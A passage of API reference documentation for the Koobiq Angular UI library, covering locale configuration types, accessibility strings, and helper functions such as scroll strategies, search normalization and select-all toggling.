captionTextOnlyFolder: string; captionTextWithFolder: string; captionTextWhenSelected: string; captionTextForCompactSize: string; browseLink: string; browseLinkFolder: string; browseLinkFolderMixed: string; title: string; }; }; codeBlock: { softWrapOnTooltip: string; softWrapOffTooltip: string; downloadTooltip: string; copiedTooltip: string; copyTooltip: string; viewAllText: string; viewLessText: string; openExternalSystemTooltip: string; }; timezone: { searchPlaceholder: string; otherCountriesLabel: string; }; actionsPanel: { closeTooltip: string; }; filterBar: { reset: { buttonName: string; }; search: { tooltip: string; placeholder: string; }; filters: { defaultName: string; saveNewFilterTooltip: string; searchPlaceholder: string; searchEmptyResult: string; saveAsNewFilter: string; saveChangesHeader: string; saveChangesButton: string; saveAsNewHeader: string; saveAsNewButton: string; change: string; resetChanges: string; remove: string; errorHint: string; saveButton: string; cancelButton: string; actionsTooltip: string; }; add: { tooltip: string; addedAnnouncement: string; }; refresher: { refresh: string; settings: string; }; pipe: { clearButtonTooltip: string; removeButtonTooltip: string; applyButton: string; emptySearchResult: string; selectAll: string; noOptions: string; }; datePipe: { customPeriod: string; customPeriodFrom: string; customPeriodTo: string; customPeriodErrorHint: string; customPeriodMinIntervalErrorHint: string; customPeriodMaxIntervalErrorHint: string; backToPeriodSelection: string; }; }; clampedText: { openText: string; closeText: string; showMoreText: string; moreText: string; }; navbar: { toggle: { expand: string; collapse: string; }; }; searchExpandable: { tooltip: string; placeholder: string; }; appSwitcher: { searchPlaceholder: string; searchEmptyResult: string; sitesHeader: string; clearSearch: string; }; username: { siteLabel: string; }; popoverConfirm: { confirmText: string; confirmButtonText: string; }; timeRange: { title: { placeholder: string; }; editor: { from: string; to: string; apply: string; cancel: string; rangeLabel: string; outOfBoundsError: string; allTime: string; currentQuarter: string; currentYear: string; allTimeOption: string; currentQuarterOption: string; currentYearOption: string; }; durationTemplate: { title: { SEPARATOR: string; LAST_PART_SEPARATOR: string; YEARS: string; MONTHS: string; WEEKS: string; DAYS: string; HOURS: string; MINUTES: string; SECONDS: string; YEARS_FRACTION: string; MONTHS_FRACTION: string; }; option: { SEPARATOR: string; LAST_PART_SEPARATOR: string; YEARS: string; MONTHS: string; WEEKS: string; DAYS: string; HOURS: string; MINUTES: string; SECONDS: string; YEARS_FRACTION: string; MONTHS_FRACTION: string; }; }; }; notificationCenter: { notifications: string; remove: string; removeAll: string; doNotDisturb: string; showPopUpNotifications: string; noNotifications: string; failedToLoadNotifications: string; repeat: string; loadingMore: string; unread: string; }; }; 'tk-TM': { formatters: { number: { rounding: { separator: string; groupSeparator: string; thousand: string; million: string; billion: string; trillion: string; }; }; }; input: { number: { groupSeparator: string[]; fractionSeparator: string; viewGroupSeparator: string; }; }; sizeUnits: { defaultUnitSystem: "SI"; defaultPrecision: number; unitSystems: { SI: { abbreviations: string[]; base: number; power: number; }; IEC: { abbreviations: string[]; base: number; power: number; }; }; }; a11y: { close: string; save: string; saving: string; saveFailed: string; cancel: string; edit: string; removeAll: string; remove: string; breadcrumbs: string; expandBreadcrumbs: string; previousMonth: string; currentDate: string; nextMonth: string; clear: string; showPassword: string; hidePassword: string; resizeColumns: string; resizePanels: string; toastRegion: string; optionActions: string; progressBar: string; }; select: { hiddenItemsText: string; selectAll: string; }; datepicker: { placeholder: string; dateInput: string; }; timepicker: { placeholder: { full: string; short: string; }; }; fileUpload: { a11y: { fileAdded: string; fileRemoved: string; filesNotAdded: string; }; single: { captionText: string; captionTextOnlyFolder: string; captionTextWithFolder: string; browseLink: string; browseLinkFolder: string; browseLinkFolderMixed: string; }; multiple: { captionText: string; captionTextOnlyFolder: string; captionTextWithFolder: string; captionTextWhenSelected: string; captionTextForCompactSize: string; browseLink: string; browseLinkFolder: string; browseLinkFolderMixed: string; title: string; }; }; codeBlock: { softWrapOnTooltip: string; softWrapOffTooltip: string; downloadTooltip: string; copiedTooltip: string; copyTooltip: string; viewAllText: string; viewLessText: string; openExternalSystemTooltip: string; }; timezone: { searchPlaceholder: string; otherCountriesLabel: string; }; actionsPanel: { closeTooltip: string; }; filterBar: { reset: { buttonName: string; }; search: { tooltip: string; placeholder: string; }; filters: { defaultName: string; saveNewFilterTooltip: string; searchPlaceholder: string; searchEmptyResult: string; saveAsNewFilter: string; saveChangesHeader: string; saveChangesButton: string; saveAsNewHeader: string; saveAsNewButton: string; change: string; resetChanges: string; remove: string; errorHint: string; saveButton: string; cancelButton: string; actionsTooltip: string; }; add: { tooltip: string; addedAnnouncement: string; }; refresher: { refresh: string; settings: string; }; pipe: { clearButtonTooltip: string; removeButtonTooltip: string; applyButton: string; emptySearchResult: string; selectAll: string; noOptions: string; }; datePipe: { customPeriod: string; customPeriodFrom: string; customPeriodTo: string; customPeriodErrorHint: string; customPeriodMinIntervalErrorHint: string; customPeriodMaxIntervalErrorHint: string; backToPeriodSelection: string; }; }; clampedText: { openText: string; closeText: string; showMoreText: string; moreText: string; }; navbar: { toggle: { expand: string; collapse: string; }; }; searchExpandable: { tooltip: string; placeholder: string; }; appSwitcher: { searchPlaceholder: string; searchEmptyResult: string; sitesHeader: string; clearSearch: string; }; username: { siteLabel: string; }; popoverConfirm: { confirmText: string; confirmButtonText: string; }; timeRange: { title: { placeholder: string; }; editor: { from: string; to: string; apply: string; cancel: string; rangeLabel: string; outOfBoundsError: string; allTime: string; currentQuarter: string; currentYear: string; allTimeOption: string; currentQuarterOption: string; currentYearOption: string; }; durationTemplate: { title: { SEPARATOR: string; LAST_PART_SEPARATOR: string; YEARS: string; MONTHS: string; WEEKS: string; DAYS: string; HOURS: string; MINUTES: string; SECONDS: string; YEARS_FRACTION: string; MONTHS_FRACTION: string; }; option: { SEPARATOR: string; LAST_PART_SEPARATOR: string; YEARS: string; MONTHS: string; WEEKS: string; DAYS: string; HOURS: string; MINUTES: string; SECONDS: string; YEARS_FRACTION: string; MONTHS_FRACTION: string; }; }; }; notificationCenter: { notifications: string; remove: string; removeAll: string; doNotDisturb: string; showPopUpNotifications: string; noNotifications: string; failedToLoadNotifications: string; repeat: string; loadingMore: string; unread: string; }; }; };
```

##### kbqAutoHideScrollStrategyFactory (function)

Factory function for `KbqAutoHideScrollStrategy`. Use it directly as a `useFactory` value
when providing a component-level scroll strategy token (e.g. `KBQ_POPOVER_SCROLL_STRATEGY`).

The returned function accepts an optional `hooks` object (see `KbqAutoHideScrollStrategyHooks`)
and an optional `config` (see `KbqAutoHideScrollStrategyConfig`).

```ts
const createScrollStrategy = kbqAutoHideScrollStrategyFactory(scrollDispatcher, viewportRuler, ngZone);
const strategy = createScrollStrategy({ onHide: () => this.hide() }, { originElement });
```

```ts
function kbqAutoHideScrollStrategyFactory(
    scrollDispatcher: ScrollDispatcher,
    viewportRuler: ViewportRuler,
    ngZone: NgZone
): (hooks?: KbqAutoHideScrollStrategyHooks, config?: KbqAutoHideScrollStrategyConfig) => KbqAutoHideScrollStrategy;
```

##### kbqDelayLoadingIndicator (function)

Turns the state of an operation into the visibility of its loading indicator, so that the indicator
does not flash: it appears only once the operation has run for `delay`, and once shown stays visible
for at least `minDuration`.

Use the result for the indicator only. State that blocks a repeated action, such as `disabled`,
has to follow the operation itself and change immediately.

```ts
readonly showIndicator$ = this.loading$.pipe(kbqDelayLoadingIndicator());
```

```ts
function kbqDelayLoadingIndicator(
    options?: KbqDelayLoadingIndicatorOptions
): MonoTypeOperatorFunction<boolean>;
```

##### kbqFocusOptionActionOnTab (function)

Moves focus from an option to its trailing action button on Tab.

Shared by `KbqListOption` and `KbqTreeOption` so the two cannot drift apart. Tab is swallowed only
when focus actually landed: the action lives in a `display: none` container until the option is
hovered or keyboard-focused, and focusing a hidden element is a no-op, so suppressing Tab there
would trap focus on the option.

```ts
function kbqFocusOptionActionOnTab(
    $event: KeyboardEvent,
    actionButton: KbqOptionActionComponent | undefined
): void;
```

##### kbqInjectLocaleConfiguration (function)

Reactive localized strings for one section of the active locale.

Follows `KBQ_LOCALE_SERVICE` when the application provides one, and otherwise resolves `token`, whose
factory supplies the default strings. Overrides registered through
`kbqLocaleConfigurationOverrideProvider` are merged on top of whichever of the two applies, and a
`KbqLocaleOverridesDirective` on the element or any ancestor of it on top of those — the more
local the source, the later it is merged. Being a signal is what makes a runtime `setLocale()` reach
`OnPush` children that render these strings: they register the read on their own view, which a
subscription in the parent could never do for them.

This is the carrier-less path — for a pipe, or for content that resolves against an ancestor carrier
only. A component that carries `KbqLocaleOverridesDirective` itself reads its strings through
`KbqLocaleOverridesDirective.read` instead, which cannot be called without the carrier.

```ts
function kbqInjectLocaleConfiguration<K extends KbqLocaleSection>(
    section: K,
    token: InjectionToken<KbqLocaleData[K]>
): Signal<KbqLocaleData[K]>;
```

- `section`: `K` — Section of the locale data to read.
- `token`: `InjectionToken<KbqLocaleData[K]>` — Configuration token, whose factory supplies the default strings.

##### kbqInjectLocaleService (function)

Reads the locale service the application provided.

Resolves `KBQ_LOCALE_SERVICE`, not the class: the token is what the components read, and an application
is free to provide something else under it. Pass `{ optional: true }` for code that has to keep working
without a locale service — which is how every component of this library reads it.

```ts
function kbqInjectLocaleService(
    options?: InjectOptions & { optional?: false }
): KbqLocaleService;
function kbqInjectLocaleService(
    options: InjectOptions
): KbqLocaleService | null;
```

##### normalizeNumber (function)

Function that returns a string representation of a number without localized separators

```ts
function normalizeNumber(
    value: string | null | undefined,
    customConfig: Pick<KbqInputNumberLocaleConfiguration, 'fractionSeparator' | 'groupSeparator'>
): string;
```

##### normalizeSearchValue (function)

Normalizes a string for case- and diacritic-insensitive search comparison: trims the ends,
decomposes accented characters (NFKD), strips the resulting combining marks (while preserving
`й`/`Й` as distinct letters), and lowercases using the current locale. Internal whitespace and
punctuation are left untouched.

```ts
function normalizeSearchValue(value: string): string;
```

##### patchElementFocus (function)

Patches an element's focus and blur methods to emit events consistently and predictably:
a browser does not fire the focus handlers at all while its window is not focused.

```ts
function patchElementFocus(element: HTMLElement): void;
```

##### resolveMultipleMode (function)

Resolves the `multiple` input of a selection list or tree into a mode, or `null` for single selection.

The set of modes is closed, so an unrecognized value falls back to single selection and is reported in dev
mode rather than read as multiple selection.

```ts
function resolveMultipleMode(
    value: KbqMultipleInput
): MultipleMode | null;
```

##### shouldSelectSearchText (function)

Whether `Ctrl`/`Cmd` + `A` should select the text of a search `<input>` rather than toggle options.

Returns `true` only when the input has text that is not already fully selected (nothing selected,
a partial selection, or just a caret). Returns `false` for an empty input (so select-all falls
straight through to the options) and when the whole value is already selected (a second press
then acts on the options).

```ts
function shouldSelectSearchText(
    input: HTMLInputElement | null | undefined
): boolean;
```

##### toggleSelectAll (function)

Canonical "select all / deselect all" toggle shared by the multi-select components (`Ctrl`/`Cmd` + `A`).

Considers only selectable items and selects them all. When `allowDeselect` is `true` and every selectable
item is already selected, deselects them all instead; otherwise a repeated call is a no-op. No-op when
there are no selectable items.

```ts
function toggleSelectAll<T>(
    adapter: KbqSelectAllAdapter<T>,
    options?: KbqToggleSelectAllOptions
): T[];
```

- returns `T[]` — the items whose selected state actually flipped, in input order.

##### tokenizeSearchQuery (function)

Splits a raw query into tokens, treating whitespace as a separator and `"quoted phrases"` as
a single token (spaces inside the quotes are preserved). A `"` with no matching closing quote
stays part of its token instead of being dropped, so a half-open quote yields a token no
realistic haystack contains — and therefore no results — until the quote is closed.

```ts
function tokenizeSearchQuery(query: string): string[];
```

##### typeInElement (function)

Focuses an input, sets its value and dispatches
the `input` event, simulating the user typing.

```ts
function typeInElement(value: string, element: HTMLInputElement): void;
```

- `value`: `string` — Value to be set on the input.
- `element`: `HTMLInputElement` — Element onto which to set the value.

##### wrappedErrorMessage (function)

```ts
function wrappedErrorMessage(e: Error): RegExp;
```

#### Types

##### CrossFieldErrorScope (type)

Resolves which controls a group-level error concerns.

Called with one error of a group at a time. Return the names of the controls the error applies to, relative
to the group holding it — `AbstractControl.get` paths such as `'passwords.confirm'` are supported — or
`null` for errors this scope does not know.

It is called from change detection, so keep it cheap and allocation-free.

```ts
type CrossFieldErrorScope = (errorKey: string, errorValue: unknown) => readonly string[] | null;
```

##### Highlightable (interface)

This is the interface for highlightable items (used by the ActiveDescendantKeyManager).
Each item must know how to style itself as active or inactive and whether or not it is
currently disabled.

```ts
interface Highlightable extends ListKeyManagerOption {
    disabled?: boolean | Signal<boolean>;
    setActiveStyles(): void;
    setInactiveStyles(): void;
    getLabel?(): string;
}
```

- `disabled?`: `boolean | Signal<boolean>` — Whether the option is disabled. A signal lets an option expose `disabled` as an `input()`.

##### IFocusableOption (interface)

This is the interface for focusable items (used by the FocusKeyManager).
Each item must know how to focus itself, whether or not it is currently disabled
and be able to supply it's label.

```ts
interface IFocusableOption extends ListKeyManagerOption {
    disabled?: boolean | Signal<boolean>;
    focus(origin?: FocusOrigin): void;
    getLabel?(): string;
}
```

- `disabled?`: `boolean | Signal<boolean>` — Whether the option is disabled. A signal lets an option expose `disabled` as an `input()`.

##### KbqA11yLocaleConfiguration (type)

Text the library exposes to assistive tech only: accessible names for the icon-only buttons and the
unlabelled regions it renders itself, and live-region announcements.

An icon carries no text, so without one of these a button has no accessible name at all (AXE
`button-name`); the same holds for a landmark region (AXE `landmark-unique` / `region`). None of
these strings are ever displayed.

```ts
type KbqA11yLocaleConfiguration = {
    close: string;
    save: string;
    saving: string;
    saveFailed: string;
    cancel: string;
    edit: string;
    removeAll: string;
    remove: string;
    breadcrumbs: string;
    expandBreadcrumbs: string;
    previousMonth: string;
    currentDate: string;
    nextMonth: string;
    clear: string;
    showPassword: string;
    hidePassword: string;
    resizeColumns: string;
    resizePanels: string;
    toastRegion: string;
    optionActions: string;
    progressBar: string;
};
```

- `close`: `string` — Close button of a modal, popover, sidepanel, content panel, notification center or toast, and of
  the expandable search, whose suffix collapses an empty field back to its icon.
- `save`: `string` — Confirm button of an inline edit.
- `saving`: `string` — Announced while an inline edit saves a value in the background.
- `saveFailed`: `string` — Announced when a background save of an inline edit fails.
- `cancel`: `string` — Discard button of an inline edit.
- `edit`: `string` — Name of the control that opens an inline edit's editor, when the host supplies none.
- `removeAll`: `string` — Button removing every notification at once.
- `remove`: `string` — Button removing one selected value, followed by that value's own text.
- `breadcrumbs`: `string` — Breadcrumbs navigation landmark, unless the consumer names it with an `aria-label` of its own.
- `expandBreadcrumbs`: `string` — Breadcrumbs button revealing the items hidden by overflow.
- `previousMonth`: `string` — Calendar button switching to the previous month.
- `currentDate`: `string` — Calendar button switching back to the current date.
- `nextMonth`: `string` — Calendar button switching to the next month.
- `clear`: `string` — Form field button that clears the control value.
- `showPassword`: `string` — Password form field button that reveals the password.
- `hidePassword`: `string` — Password form field button that masks the password.
- `resizeColumns`: `string` — Separator that resizes the columns of a description list.
- `resizePanels`: `string` — Separator that resizes the panels of a splitter.
- `toastRegion`: `string` — Region holding the stack of toast notifications.
- `optionActions`: `string` — Trailing action button of a list or tree option.
- `progressBar`: `string` — Progress bar that carries neither an `aria-label` nor a projected `[kbq-progress-bar-text]`.

##### KbqActionsPanelLocaleConfiguration (type)

Locale configuration for `KbqActionsPanelModule`.

```ts
type KbqActionsPanelLocaleConfiguration = {
    closeTooltip: string;
};
```

##### KbqAnimationsConfig (interface)

Configuration of the motion of Koobiq components.

```ts
interface KbqAnimationsConfig {
    animationsDisabled?: boolean;
}
```

- `animationsDisabled?`: `boolean` — Whether components skip their enter, leave and state animations.

##### KbqAppSwitcherLocaleConfiguration (type)

Locale configuration for `KbqAppSwitcherModule`: the strings rendered by the app-switcher popup.

```ts
type KbqAppSwitcherLocaleConfiguration = {
    searchPlaceholder: string;
    searchEmptyResult: string;
    sitesHeader: string;
    clearSearch: string;
};
```

- `searchPlaceholder`: `string` — Placeholder and accessible name of the search field.
- `searchEmptyResult`: `string` — Message shown when no application matches the search query.
- `sitesHeader`: `string` — Heading above the list of other sites.
- `clearSearch`: `string` — Accessible name of the button that clears the search field.

##### KbqAutoHideScrollStrategyConfig (interface)

Configuration options for `KbqAutoHideScrollStrategy`.

```ts
interface KbqAutoHideScrollStrategyConfig {
    originElement?: HTMLElement;
    scrollThrottle?: number;
}
```

- `originElement?`: `HTMLElement` — Element whose position is tracked against ancestor scroll container boundaries.
  When omitted, the overlay panel is checked against the viewport instead.
- `scrollThrottle?`: `number` — Scroll event throttle in ms. Defaults to 20.

##### KbqAutoHideScrollStrategyHooks (interface)

Lifecycle hooks for `KbqAutoHideScrollStrategy`, passed via `kbqAutoHideScrollStrategyFactory`.

```ts
interface KbqAutoHideScrollStrategyHooks {
    onHide?: () => void;
}
```

- `onHide?`: `() => void` — Called (inside Angular zone) when the tracked element scrolls outside its scroll container boundary.

##### KbqBaseFileUploadLocaleConfiguration (interface)

```ts
interface KbqBaseFileUploadLocaleConfiguration {
    captionText: string;
    captionTextOnlyFolder: string;
    captionTextWithFolder: string;
    browseLink: string;
    browseLinkFolder: string;
    browseLinkFolderMixed?: string;
}
```

##### KbqCaretRect (interface)

Rectangle occupied by a text insertion point or a text selection, in viewport coordinates.

Shaped after the virtual origin a CDK `FlexibleConnectedPositionStrategy` accepts, so it can be handed to
`setOrigin()` as it is and every placement, offset and fallback keeps working against it.

```ts
interface KbqCaretRect {
    x: number;
    y: number;
    width: number;
    height: number;
}
```

- `x`: `number` — Distance from the left edge of the viewport, in pixels.
- `y`: `number` — Distance from the top edge of the viewport, in pixels.
- `width`: `number` — Width of the selection, or `0` for a collapsed caret.
- `height`: `number` — Height of one line of text in the field.

##### KbqCheckableClickAction (type)

Click action shared by checkable controls (checkbox, toggle, and custom checkbox-like primitives).
noop: Do not toggle checked or indeterminate.
check: Only toggle checked status, ignore indeterminate.
check-indeterminate: Toggle checked status, set indeterminate to false. Default behavior.
undefined: Same as `check-indeterminate`.

```ts
type KbqCheckableClickAction = 'noop' | 'check' | 'check-indeterminate' | undefined;
```

##### KbqCheckableClickResult (interface)

Result of resolving a click on a checkable control's native input. See `KbqCheckable.resolveClick`.

```ts
interface KbqCheckableClickResult {
    readonly shouldToggle: boolean;
    readonly shouldClearIndeterminate: boolean;
}
```

- `shouldToggle`: `boolean` — Whether `checked` should be toggled and a `change` event emitted.
- `shouldClearIndeterminate`: `boolean` — Whether `indeterminate` should be cleared and an `indeterminateChange` event emitted.

##### KbqCheckedState (type)

Tri-state checkbox values, as in
[`aria-checked`](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/Reference/Attributes/aria-checked).

```ts
type KbqCheckedState = 'true' | 'false' | 'mixed';
```

##### KbqClampedTextLocaleConfiguration (type)

Locale configuration for `KbqClampedText`

```ts
type KbqClampedTextLocaleConfiguration = {
    openText: string;
    closeText: string;
    showMoreText: string;
    moreText: string;
};
```

##### KbqCodeBlockLocaleConfiguration (type)

Locale configuration for `KbqCodeBlockModule`.

```ts
type KbqCodeBlockLocaleConfiguration = {
    softWrapOnTooltip: string;
    softWrapOffTooltip: string;
    downloadTooltip: string;
    copiedTooltip: string;
    copyTooltip: string;
    viewAllText: string;
    viewLessText: string;
    openExternalSystemTooltip: string;
};
```

##### KbqConnectedOverlayOriginProvider (interface)

Contract for an ancestor that wants to override where overlays opened by a nested
`KbqFormField`'s control (e.g. a select's dropdown, a datepicker's calendar) are
anchored, instead of the form-field's own container.

```ts
interface KbqConnectedOverlayOriginProvider {
    getConnectedOverlayOrigin(): ElementRef<any> | undefined;
}
```

- `getConnectedOverlayOrigin()`: `ElementRef<any> | undefined` — Element the overlay should be positioned and sized against, or `undefined` to fall
  back to the form-field's own container.

##### KbqDateFormats (type)

```ts
type KbqDateFormats = DateFormats;
```

##### KbqDatepickerLocaleConfiguration (type)

Locale configuration for `KbqDatepickerModule`.

Only `placeholder` reaches the rendered output — see `dateInput`.

```ts
type KbqDatepickerLocaleConfiguration = {
    placeholder: string;
    /** @deprecated */
    dateInput?: string;
};
```

- `placeholder`: `string` — Placeholder of the date input, in the locale's own notation (e.g. `дд.мм.гггг`).
- `dateInput?`: `string` — Parsing/formatting pattern for the date input.

  Never read: the input format is resolved from `KBQ_DATE_FORMATS` and the date adapter's own config,
  not from the locale data. Optional because `es-LA` and `pt-BR` never declared it.

  Deprecated: Set the input format through `KBQ_DATE_FORMATS`. Will be removed in 22.0.0.

##### KbqDeepPartial (type)

Recursive counterpart of `Partial<T>`: every property at every depth becomes optional.

Arrays and functions are passed through unchanged — making the elements of `string[]` optional
would turn it into `{ 0?: string }`, which is never what a partial override means.

```ts
type KbqDeepPartial<T> = T extends (...args: never[]) => unknown
    ? T
    : T extends readonly unknown[]
      ? T
      : T extends object
        ? { [K in keyof T]?: KbqDeepPartial<T[K]> }
        : T;
```

##### KbqDefaultSizes (type)

Defines the available size options for Koobiq components.

```ts
type KbqDefaultSizes = 'compact' | 'normal' | 'big';
```

##### KbqDelayLoadingIndicatorOptions (type)

Timing options of `kbqDelayLoadingIndicator`.

```ts
type KbqDelayLoadingIndicatorOptions = {
    delay?: number;
    minDuration?: number;
};
```

- `delay?`: `number` — How long, in milliseconds, an operation has to run before the indicator appears. Defaults to 500.
- `minDuration?`: `number` — How long, in milliseconds, the indicator stays visible once it has appeared. Defaults to 300.

##### KbqEnumValues (type)

Converts an enumeration (enum) type into a string literal type containing
all possible string representations of the values.

```ts
type KbqEnumValues<T extends string | number> = `${T}`;
```

##### KbqFileTypeSpecifier (type)

Type helper describing accepted file types, referring to
[unique file type specifiers](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/input/file#unique_file_type_specifiers).

```ts
type KbqFileTypeSpecifier = Parameters<typeof FileValidators.isCorrectExtension>[0];
```

##### KbqFileUploadA11yLocaleConfiguration (type)

Announcements the uploaders push into their own live region.

Unlike `KbqA11yLocaleConfiguration` these are not names of controls: nothing renders them,
they are read out once when the file list changes.

```ts
type KbqFileUploadA11yLocaleConfiguration = {
    fileAdded: string;
    fileRemoved: string;
    filesNotAdded: string;
};
```

- `fileAdded`: `string` — Announced after a file is added; `{{ fileName }}` is replaced with its name.
- `fileRemoved`: `string` — Announced after a file is removed; `{{ fileName }}` is replaced with its name.
- `filesNotAdded`: `string` — Announced when part of a selection is discarded — a duplicate, or everything past the first file.

##### KbqFileUploadLocaleConfiguration (type)

Labels of both upload flavours, and the announcements neither of them renders.

```ts
type KbqFileUploadLocaleConfiguration = {
    a11y: KbqFileUploadA11yLocaleConfiguration;
    single: KbqBaseFileUploadLocaleConfiguration;
    multiple: KbqMultipleFileUploadLocaleConfiguration;
};
```

- `a11y`: `KbqFileUploadA11yLocaleConfiguration` — Announcements of file list changes, read out rather than rendered.
- `single`: `KbqBaseFileUploadLocaleConfiguration` — Labels of the uploader that holds one file.
- `multiple`: `KbqMultipleFileUploadLocaleConfiguration` — Labels of the uploader that holds a list, including its title and compact caption.

##### KbqFilterBarLocaleConfiguration (type)

Locale configuration for `KbqFilterBarModule` and its pipes.

```ts
type KbqFilterBarLocaleConfiguration = {
    reset: {
        buttonName: string;
    };
    search: {
        tooltip: string;
        placeholder: string;
    };
    filters: {
        defaultName: string;
        saveNewFilterTooltip: string;
        searchPlaceholder: string;
        searchEmptyResult: string;
        saveAsNewFilter: string;
        saveChangesHeader: string;
        saveChangesButton: string;
        saveAsNewHeader: string;
        saveAsNewButton: string;
        change: string;
        resetChanges: string;
        remove: string;
        errorHint: string;
        saveButton: string;
        cancelButton: string;
        actionsTooltip: string;
    };
    add: {
        tooltip: string;
        addedAnnouncement: string;
    };
    refresher: {
        refresh: string;
        settings: string;
    };
    pipe: {
        clearButtonTooltip: string;
        removeButtonTooltip: string;
        applyButton: string;
        emptySearchResult: string;
        selectAll: string;
        noOptions: string;
    };
    datePipe: {
        customPeriod: string;
        customPeriodFrom: string;
        customPeriodTo: string;
        customPeriodErrorHint: string;
        customPeriodMinIntervalErrorHint: string;
        customPeriodMaxIntervalErrorHint: string;
        backToPeriodSelection: string;
    };
};
```

- `filters.saveChangesHeader`: `string` — Header of the rename popover; it also names the popover's name field.
- `filters.saveChangesButton`: `string` — Label of the filter-actions item that saves the pending changes.
- `filters.saveAsNewHeader`: `string` — Header of the popover that saves a new filter; it also names the popover's name field.
- `filters.saveAsNewButton`: `string` — Label of the filter-actions item that saves the current filter as a new one.
- `add.addedAnnouncement`: `string` — Announced after a filter is added. Supports the `{{ name }}` placeholder.
- `pipe.noOptions`: `string` — Shown in the dropdown of an option pipe whose template has no values.
- `datePipe.customPeriodMinIntervalErrorHint`: `string` — Supports the `{{ value }}` placeholder.
- `datePipe.customPeriodMaxIntervalErrorHint`: `string` — Supports the `{{ value }}` placeholder.

##### KbqFlexDirection (type)

Controls the direction of flex items: horizontal (`'row'`) or vertical (`'column'`).

```ts
type KbqFlexDirection = 'row' | 'column';
```

##### KbqFlexWrap (type)

Controls flex item wrapping: single-line (`'nowrap'`) or multi-line (`'wrap'`).

```ts
type KbqFlexWrap = 'nowrap' | 'wrap';
```

##### KbqFormattersLocaleConfiguration (type)

Locale configuration for the number formatter pipes.

```ts
type KbqFormattersLocaleConfiguration = {
    number: {
        rounding: KbqNumberRoundingLocaleConfiguration;
        decimal?: KbqNumberFormatOptions;
    };
};
```

- `number.decimal?`: `KbqNumberFormatOptions` — Present only for the locales that override the group separator of the decimal pipe.

##### KbqInputLocaleConfiguration (type)

Locale configuration for the library's inputs.

```ts
type KbqInputLocaleConfiguration = {
    number: KbqInputNumberLocaleConfiguration;
};
```

##### KbqInputNumberLocaleConfiguration (type)

Locale configuration for `KbqNumberInput`.

```ts
type KbqInputNumberLocaleConfiguration = {
    groupSeparator: string[];
    fractionSeparator: string;
    startFormattingFrom?: number;
} & KbqNumberFormatOptions;
```

- `groupSeparator`: `string[]` — Characters recognized as group (thousands) separators.
- `fractionSeparator`: `string` — Character used for the decimal separator
- `startFormattingFrom?`: `number` — Number of digits before applying group separators

##### KbqLocaleData (interface)

Every localized string and formatting rule the library reads, keyed by section.

This is the contract for custom locale data registered through `KBQ_LOCALE_DATA` or
`KbqLocaleService.addLocale()`, and the shape `KbqLocaleService.getParams()` resolves against.

```ts
interface KbqLocaleData extends KbqLocaleStringsData, KbqLocaleFormattersData {
    a11y: KbqA11yLocaleConfiguration;
    select: KbqSelectLocaleConfiguration;
    datepicker: KbqDatepickerLocaleConfiguration;
    timepicker: KbqTimepickerLocaleConfiguration;
    fileUpload: KbqFileUploadLocaleConfiguration;
    codeBlock: KbqCodeBlockLocaleConfiguration;
    timezone: KbqTimezoneLocaleConfiguration;
    actionsPanel: KbqActionsPanelLocaleConfiguration;
    filterBar: KbqFilterBarLocaleConfiguration;
    clampedText: KbqClampedTextLocaleConfiguration;
    navbar: KbqNavbarLocaleConfiguration;
    searchExpandable: KbqSearchExpandableLocaleConfiguration;
    appSwitcher: KbqAppSwitcherLocaleConfiguration;
    timeRange: KbqTimeRangeLocaleConfiguration;
    notificationCenter: KbqNotificationCenterLocaleConfiguration;
    popoverConfirm: KbqPopoverConfirmLocaleConfiguration;
    username: KbqUsernameLocaleConfiguration;
    formatters: KbqFormattersLocaleConfiguration;
    input: KbqInputLocaleConfiguration;
    sizeUnits: KbqSizeUnitsLocaleConfiguration;
}
```

- `username`: `KbqUsernameLocaleConfiguration` — Strings of `kbq-username`, none of which it renders visibly.

##### KbqLocaleDataInput (interface)

Shape accepted by `KBQ_LOCALE_DATA`. Each locale may be partial: `KbqLocaleService` merges what it
receives over the default locale, so a consumer only has to supply the strings they want to change.

```ts
interface KbqLocaleDataInput {
    [localeId: string]: KbqPartialLocaleData | KbqLocaleItem[] | undefined;
    items?: KbqLocaleItem[];
}
```

##### KbqLocaleDataMap (type)

The resolved locale registry: every known locale keyed by id, plus the list used by locale pickers.

```ts
type KbqLocaleDataMap = Record<string, KbqLocaleData> & {
    items: KbqLocaleItem[];
};
```

##### KbqLocaleFormattersData (interface)

The number and size formatting rules of a locale — the shape of `ruRUFormattersData` and its siblings.

```ts
interface KbqLocaleFormattersData {
    formatters: KbqFormattersLocaleConfiguration;
    input: KbqInputLocaleConfiguration;
    sizeUnits: KbqSizeUnitsLocaleConfiguration;
}
```

##### KbqLocaleId (type)

Identifiers of the locales shipped with the library.

```ts
type KbqLocaleId = 'en-US' | 'es-LA' | 'pt-BR' | 'ru-RU' | 'tk-TM';
```

##### KbqLocaleIdLike (type)

A locale identifier: one of the shipped `KbqLocaleId`s, or any other string for a locale
registered through `KBQ_LOCALE_DATA` / `addLocale()`. The `string & {}` arm keeps the set open while
still offering the shipped ids as completions.

```ts
type KbqLocaleIdLike = KbqLocaleId | (string & {});
```

##### KbqLocaleItem (type)

An entry of the locale registry, used to render locale pickers.

```ts
type KbqLocaleItem = {
    id: KbqLocaleIdLike;
    name: string;
};
```

- `name`: `string` — Name of the locale in that locale's own language.

##### KbqLocaleSection (type)

Name of a section of `KbqLocaleData`, as accepted by `KbqLocaleService.getParams()`.

```ts
type KbqLocaleSection = keyof KbqLocaleData;
```

##### KbqLocaleStringsData (interface)

The localized strings of a locale — the shape of `ruRULocaleData` and its siblings.

Split from `KbqLocaleFormattersData` because the two halves live in separate files and are
merged into one locale entry by `KBQ_DEFAULT_LOCALE_DATA_FACTORY`.

```ts
interface KbqLocaleStringsData {
    a11y: KbqA11yLocaleConfiguration;
    select: KbqSelectLocaleConfiguration;
    datepicker: KbqDatepickerLocaleConfiguration;
    timepicker: KbqTimepickerLocaleConfiguration;
    fileUpload: KbqFileUploadLocaleConfiguration;
    codeBlock: KbqCodeBlockLocaleConfiguration;
    timezone: KbqTimezoneLocaleConfiguration;
    actionsPanel: KbqActionsPanelLocaleConfiguration;
    filterBar: KbqFilterBarLocaleConfiguration;
    clampedText: KbqClampedTextLocaleConfiguration;
    navbar: KbqNavbarLocaleConfiguration;
    searchExpandable: KbqSearchExpandableLocaleConfiguration;
    appSwitcher: KbqAppSwitcherLocaleConfiguration;
    timeRange: KbqTimeRangeLocaleConfiguration;
